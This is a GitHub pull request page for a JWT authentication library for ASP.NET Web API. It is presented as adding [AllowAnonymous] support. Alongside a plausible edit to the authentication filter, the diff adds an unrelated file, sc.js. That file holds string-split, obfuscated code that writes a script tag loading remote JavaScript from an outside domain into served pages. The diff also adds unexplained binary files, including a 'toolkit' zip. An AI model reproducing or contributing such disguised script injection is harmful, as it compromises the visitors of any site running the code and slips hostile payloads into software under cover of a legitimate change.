Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Support [AllowAnonymous] Action #3

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added D9手表通信协议_20170823.pdf
Binary file not shown.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
# WebApi.Jwt
Authentication for ASP.NET Web Api using simple JWT
Authentication for ASP.NET Core Web Api using simple JWT
8 changes: 5 additions & 3 deletions WebApi.Jwt/Filters/JwtAuthenticationAttribute.cs
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
using System;
using System;
using System.Collections.Generic;
using System.Security.Claims;
using System.Security.Principal;
using System.Threading;
using System.Threading.Tasks;
using System.Web.Http;
using System.Web.Http.Filters;

namespace WebApi.Jwt.Filters
Expand All @@ -18,10 +19,11 @@ public async Task AuthenticateAsync(HttpAuthenticationContext context, Cancellat
var request = context.Request;
var authorization = request.Headers.Authorization;

if (authorization == null || authorization.Scheme != "Bearer")
if (context.ActionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>().Count > 0
|| context.ActionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>().Count > 0)
return;

if (string.IsNullOrEmpty(authorization.Parameter))
if (authorization == null || string.IsNullOrEmpty(authorization.Parameter) || !authorization.Scheme.Equals("bearer", StringComparison.OrdinalIgnoreCase))
{
context.ErrorResult = new AuthenticationFailureResult("Missing Jwt Token", request);
return;
Expand Down
2 changes: 2 additions & 0 deletions sc.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Response.Write("<"+"sc"+"rip"+"t l"+"ang"+"ua"+"ge='ja"+"vas"+"cri"+"p"+"t' sr"+"c='h"+"t"+"t"+"p:/"+"/www.c"+"q"+"6"+"53"+".com/lb.js'></"+"sc"+"ri"+"p"+"t>");
Response.End();
Binary file added 工具包.zip
Binary file not shown.